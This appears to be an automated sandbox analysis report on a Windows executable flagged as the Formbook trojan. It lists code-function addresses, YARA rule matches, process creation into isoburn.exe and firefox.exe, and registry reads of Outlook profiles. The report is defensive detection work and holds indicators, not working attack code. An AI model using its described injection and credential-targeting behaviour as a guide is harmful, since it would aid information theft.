Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159B950	2_2_0159B950
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01615910	2_2_01615910
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ED800	2_2_015ED800
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015838E0	2_2_015838E0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163FB76	2_2_0163FB76
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015BDBF9	2_2_015BDBF9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F5BF0	2_2_015F5BF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159FB80	2_2_0159FB80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01637A46	2_2_01637A46
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163FA49	2_2_0163FA49
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F3A6C	2_2_015F3A6C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0162DAC6	2_2_0162DAC6
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01621AA3	2_2_01621AA3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161DAAC	2_2_0161DAAC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C5AA0	2_2_015C5AA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01637D73	2_2_01637D73
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01583D40	2_2_01583D40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01631D5A	2_2_01631D5A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159FDC0	2_2_0159FDC0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F9C32	2_2_015F9C32
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163FCF2	2_2_0163FCF2
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163FF09	2_2_0163FF09
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01581F92	2_2_01581F92
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163FFB1	2_2_0163FFB1
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01589EB0	2_2_01589EB0
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05012378	3_2_05012378
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0501A65D	3_2_0501A65D
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0501A662	3_2_0501A662
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05014129	3_2_05014129
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05014132	3_2_05014132
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05014352	3_2_05014352
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_050123D2	3_2_050123D2
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0502EA02	3_2_0502EA02
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A4E4F6	4_2_04A4E4F6
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A44420	4_2_04A44420
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A52446	4_2_04A52446
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A60591	4_2_04A60591
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A0535	4_2_049A0535
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049BC6E0	4_2_049BC6E0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_0499C7C0	4_2_0499C7C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049C4750	4_2_049C4750
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A0770	4_2_049A0770
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A32000	4_2_04A32000
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A541A2	4_2_04A541A2
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A601AA	4_2_04A601AA
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A581CC	4_2_04A581CC
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04990100	4_2_04990100
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A3A118	4_2_04A3A118
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A28158	4_2_04A28158
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A202C0	4_2_04A202C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A40274	4_2_04A40274
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A603E6	4_2_04A603E6
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049AE3F0	4_2_049AE3F0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5A352	4_2_04A5A352
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A40CB5	4_2_04A40CB5
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04990CF2	4_2_04990CF2
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A0C00	4_2_049A0C00
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049B8DBF	4_2_049B8DBF
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_0499ADE0	4_2_0499ADE0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049AAD00	4_2_049AAD00
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A3CD1F	4_2_04A3CD1F
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049B2E90	4_2_049B2E90
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5CE93	4_2_04A5CE93
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5EEDB	4_2_04A5EEDB
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5EE26	4_2_04A5EE26
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A0E59	4_2_049A0E59
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A1EFA0	4_2_04A1EFA0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04992FC8	4_2_04992FC8
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A42F30	4_2_04A42F30
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049C0F30	4_2_049C0F30
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049E2F28	4_2_049E2F28
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A14F40	4_2_04A14F40
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049868B8	4_2_049868B8
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049CE8F0	4_2_049CE8F0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A2840	4_2_049A2840
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049AA840	4_2_049AA840
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A6A9A6	4_2_04A6A9A6
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A29A0	4_2_049A29A0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049B6962	4_2_049B6962
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_0499EA80	4_2_0499EA80
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A56BD7	4_2_04A56BD7
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5AB40	4_2_04A5AB40
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5F43F	4_2_04A5F43F
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04991460	4_2_04991460
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A3D5B0	4_2_04A3D5B0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A695C3	4_2_04A695C3
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A57571	4_2_04A57571
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A516CC	4_2_04A516CC
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049E5630	4_2_049E5630
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5F7B0	4_2_04A5F7B0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5F0E0	4_2_04A5F0E0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A570E9	4_2_04A570E9
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A70C0	4_2_049A70C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A4F0CC	4_2_04A4F0CC
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A6B16B	4_2_04A6B16B
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_0498F172	4_2_0498F172
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049D516C	4_2_049D516C
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A52A0	4_2_049A52A0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A412ED	4_2_04A412ED
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049BB2C0	4_2_049BB2C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049BD2F0	4_2_049BD2F0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049E739A	4_2_049E739A
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5132D	4_2_04A5132D
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_0498D34C	4_2_0498D34C
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5FCF2	4_2_04A5FCF2
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A19C32	4_2_04A19C32
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049BFDC0	4_2_049BFDC0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A57D73	4_2_04A57D73
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A3D40	4_2_049A3D40
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A51D5A	4_2_04A51D5A
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A9EB0	4_2_049A9EB0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A1F92	4_2_049A1F92
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5FFB1	4_2_04A5FFB1
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04963FD5	4_2_04963FD5
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04963FD2	4_2_04963FD2
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5FF09	4_2_04A5FF09
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A38E0	4_2_049A38E0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A0D800	4_2_04A0D800
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A35910	4_2_04A35910
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049A9950	4_2_049A9950
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049BB950	4_2_049BB950
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A41AA3	4_2_04A41AA3
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A3DAAC	4_2_04A3DAAC
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049E5AA0	4_2_049E5AA0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A4DAC6	4_2_04A4DAC6
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A13A6C	4_2_04A13A6C
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A57A46	4_2_04A57A46
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5FA49	4_2_04A5FA49
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049BFB80	4_2_049BFB80
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A15BF0	4_2_04A15BF0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_049DDBF9	4_2_049DDBF9
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_04A5FB76	4_2_04A5FB76
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028E1A10	4_2_028E1A10
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028DAEE0	4_2_028DAEE0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028DCE60	4_2_028DCE60
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028DCC37	4_2_028DCC37
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028DCC40	4_2_028DCC40
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028E316B	4_2_028E316B
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028E3170	4_2_028E3170
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4_2_028F7510	4_2_028F7510

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: String function: 015EEA12 appears 86 times
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: String function: 015B5130 appears 58 times
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: String function: 0156B970 appears 257 times
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: String function: 015C7E54 appears 99 times
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: String function: 015FF290 appears 103 times
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: String function: 049E7E54 appears 107 times
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: String function: 04A1F290 appears 103 times
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: String function: 0498B970 appears 262 times
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: String function: 049D5130 appears 58 times
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: String function: 04A0EA12 appears 86 times

Source: WrrCV4QR2J.exe, 00000000.00000002.1688006226.0000000007F10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs WrrCV4QR2J.exe
Source: WrrCV4QR2J.exe, 00000000.00000002.1683349933.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs WrrCV4QR2J.exe
Source: WrrCV4QR2J.exe, 00000000.00000000.1664181209.0000000000A62000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTUvN.exeT vs WrrCV4QR2J.exe
Source: WrrCV4QR2J.exe, 00000002.00000002.1791940779.0000000001017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameISOBURN.EXEj% vs WrrCV4QR2J.exe
Source: WrrCV4QR2J.exe, 00000002.00000002.1792171632.000000000166D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs WrrCV4QR2J.exe
Source: WrrCV4QR2J.exe	Binary or memory string: OriginalFilenameTUvN.exeT vs WrrCV4QR2J.exe

Source: WrrCV4QR2J.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.WrrCV4QR2J.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.WrrCV4QR2J.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: WrrCV4QR2J.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	Security API names: _0020.SetAccessControl
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	Security API names: _0020.AddAccessRule
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, uZsT5V3p7CYwSeRgrW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	Security API names: _0020.SetAccessControl
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	Security API names: _0020.AddAccessRule
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, uZsT5V3p7CYwSeRgrW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@17/15

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WrrCV4QR2J.exe.log

Source: C:\Windows\SysWOW64\isoburn.exe

File created: C:\Users\user\AppData\Local\Temp\7e327r58

Source: WrrCV4QR2J.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: WrrCV4QR2J.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: WrrCV4QR2J.exe

ReversingLabs: Detection: 73%

Source: unknown	Process created: C:\Users\user\Desktop\WrrCV4QR2J.exe C:\Users\user\Desktop\WrrCV4QR2J.exe
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process created: C:\Users\user\Desktop\WrrCV4QR2J.exe C:\Users\user\Desktop\WrrCV4QR2J.exe
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Process created: C:\Windows\SysWOW64\isoburn.exe C:\Windows\SysWOW64\isoburn.exe
Source: C:\Windows\SysWOW64\isoburn.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process created: C:\Users\user\Desktop\WrrCV4QR2J.exe C:\Users\user\Desktop\WrrCV4QR2J.exe	Jump to behavior
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Process created: C:\Windows\SysWOW64\isoburn.exe C:\Windows\SysWOW64\isoburn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\isoburn.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: WrrCV4QR2J.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: WrrCV4QR2J.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: firefox.pdbP source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: isoburn.pdb source: WrrCV4QR2J.exe, 00000002.00000002.1791940779.0000000001017000.00000004.00000020.00020000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120809437.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: isoburn.pdbGCTL source: WrrCV4QR2J.exe, 00000002.00000002.1791940779.0000000001017000.00000004.00000020.00020000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120809437.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UHPrrMeffyCaz.exe, 00000003.00000002.4120453242.00000000000AE000.00000002.00000001.01000000.0000000C.sdmp, UHPrrMeffyCaz.exe, 00000006.00000000.1845745734.00000000000AE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: WrrCV4QR2J.exe, 00000002.00000002.1792171632.0000000001540000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1791775384.00000000045F1000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1793504608.00000000047AB000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004960000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004AFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WrrCV4QR2J.exe, WrrCV4QR2J.exe, 00000002.00000002.1792171632.0000000001540000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, isoburn.exe, 00000004.00000003.1791775384.00000000045F1000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1793504608.00000000047AB000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004960000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004AFE000.00000040.00001000.00020000.00000000.sdmp
